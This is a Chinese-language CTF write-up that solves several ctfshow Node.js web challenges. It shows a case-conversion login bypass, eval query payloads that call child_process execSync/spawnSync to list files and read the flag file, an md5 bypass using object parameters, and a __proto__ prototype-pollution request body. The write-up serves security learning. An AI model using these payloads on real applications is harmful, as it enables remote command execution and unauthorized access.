先下载附件,在user.js
中发现了账号密码
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
开环境,直接输入账号密码是错的,具体原因在login.js
中
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
可以得知,我们输入的name中字母全部大写后要等于CTFSHOW
,并且name的值不是CTFSHOW
,测试后发现name=ctfshow
,password=123456
查看源码,发现有一个提示
先随便传一个数字进去,发现它回显了出来,但是输入字母的时候,就显示404 找不到文件
,说明这里应该执行了我们输入的内容,这里的代码可能是eval('console.log(xxx)')
然后执行命令:
?eval=require( 'child_process' ).execSync( 'ls' )
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).execSync( 'cat fl00g.txt' )
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
和上题相比,有过滤,exec
被过滤了,那就用第二个姿势
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
这题给了源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
简单分析,需要传入a和b,它们值互不相同
,但是长度相同
,并且md5(a+flag)===md5(b+flag)
前面都还,重点是最后一个,正常手段肯定是不行,那试一下数组
payload:
这里只需要满足中括号里面是字母就行,关于它们的值相不相同,长度一不一样都不重要
?a[a]=2&b[b]=2
至于为什么中括号里是数字就不行,这里参考羽师傅给出的解释
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}
这题考察的是原型链污染,我看的是羽师傅推荐的博客
题目给了源码,不过文件好像过期了,没办法了,只能看别的大佬圈出来的重点代码了
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
需要满足secert.ctfshow==='36dboy'
,利用点在utils.copy(user,req.body);
,这里的copy
类似上面那篇博客中的merge
,照着里面的步骤来
抓包,改参数{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在的类的prototype属性
这里污染之后,secret
对象继承了Object.prototype
,即secert.ctfshow==='36dboy'
,满足题目条件
后面几题看不到源码,暂时先不做了。
https://blog.csdn.net/miuzzx/article/details/111780832